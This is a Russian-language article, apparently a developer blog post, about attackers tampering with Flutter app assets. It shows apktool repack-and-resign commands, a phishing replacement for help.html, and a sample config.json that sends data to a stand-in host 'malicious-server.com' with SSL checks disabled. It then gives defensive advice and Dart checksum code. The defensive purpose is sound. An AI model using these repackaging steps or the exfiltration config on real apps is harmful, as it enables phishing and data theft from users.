Когда мы говорим о безопасности мобильных приложений, первое, что приходит в голову - защита исходного кода, обфускация, шифрование API-ключей. Но есть менее очевидный вектор атаки, который многие упускают из виду: ресурсы приложения. Те самые изображения, JSON-файлы, HTML-шаблоны и конфигурации, которые лежат в папке
assets и кажутся безобидными. На самом деле они могут стать троянским конем, превращающим ваше приложение в инструмент мошенников без единого изменения в коде на
Dart.
Как работает атака: проще, чем кажется:
Представьте стандартный процесс публикации Flutter-приложения. Вы собираете
APK или
AAB, подписываете его и отправляете в магазин. Но что происходит с этим
APK после сборки?
Любой человек может скачать ваше приложение, выполнить несколько команд:
# Извлекаем ресурсы
apktool d yourapp.apk
# Редактируем файлы в папке assets/
# ...
# Перепаковываем
apktool b yourapp -o modified.apk
# Подписываем (да, даже без вашего ключа!)
zipalign -v 4 modified.apk aligned.apk
apksigner sign --ks fake.keystore aligned.apk
И вот уже существует модифицированная версия вашего приложения, которая выглядит и работает так же, но содержит измененные ресурсы. Этот
APK может распространяться через сторонние магазины, мессенджеры или фишинговые сайты.
Сценарии, которые уже происходят:
WebView становится оружием:
Вы используете локальный HTML-файл для отображения справки или условий использования. Кажется безопасным? Хакер заменяет ваш
help.html на страницу с фишинговой формой входа, которая крадет логины и пароли пользователей. При этом адресная строка показывает
file:///android_asset/help.html - выглядит доверительно.
Конфигурация как бэкдор:
Приложение загружает настройки из
config.json. В оригинале там безобидные цвета и тексты. После замены в конфиге появляются:
{
"api_endpoint": "https://malicious-server.com/collect",
"enable_debug": true,
"disable_ssl_checks": true
}
Теперь ваше приложение отправляет все данные на сервер злоумышленника и отключает проверки безопасности.
Кража ключей, которые «никто не найдет»:
Вы положили Firebase-ключ или токен
Stripe в
assets/secrets.json, решив, что «это же не в коде». Хакер извлекает
APK, находит файл за 30 секунд и получает доступ к вашей инфраструктуре.
Защита - многослойный подход:
Минимизация ущерба:
Первый и главный принцип: не храните в ресурсах того, что можно не хранить. Конфигурации должны приходить с защищенного бэкенда. Ключи
API - использовать через нативные хранилища или серверные прокси. Если ресурс не критичен для безопасности - проблема отпадает сама собой.
Верификация целостности:
Для ресурсов, которые действительно должны быть локальными, добавьте проверку контрольных сумм:
import 'package:crypto/crypto.dart';
import 'dart:convert';
Future verifyAsset(String assetPath, String expectedHash) async {
final data = await rootBundle.load(assetPath);
final bytes = data.buffer.asUint8List();
final hash = sha256.convert(bytes).toString();
return hash == expectedHash;
}
Храните хэши в нативной части приложения или получайте их с сервера при первом запуске.
Шифрование на лету:
Критичные данные в ресурсах можно хранить в зашифрованном виде. Например, конфигурационный
JSON шифруется
AES на этапе сборки и расшифровывается только в памяти при запуске. Ключ шифрования не должен лежать в том же
APK.
Вывод:
Безопасность ресурсов - это не опциональная функция, а обязательная часть разработки, особенно для финансовых, медицинских и корпоративных приложений. Злоумышленники ищут самые простые пути взлома, и незащищенные
assets - именно такой путь.
Главный вывод: относитесь к ресурсам приложения с тем же уровнем паранойи, что и к исходному коду. Каждый файл в assets должен проходить проверку «а что будет, если его заменить?». Если ответ пугает - значит, нужна защита.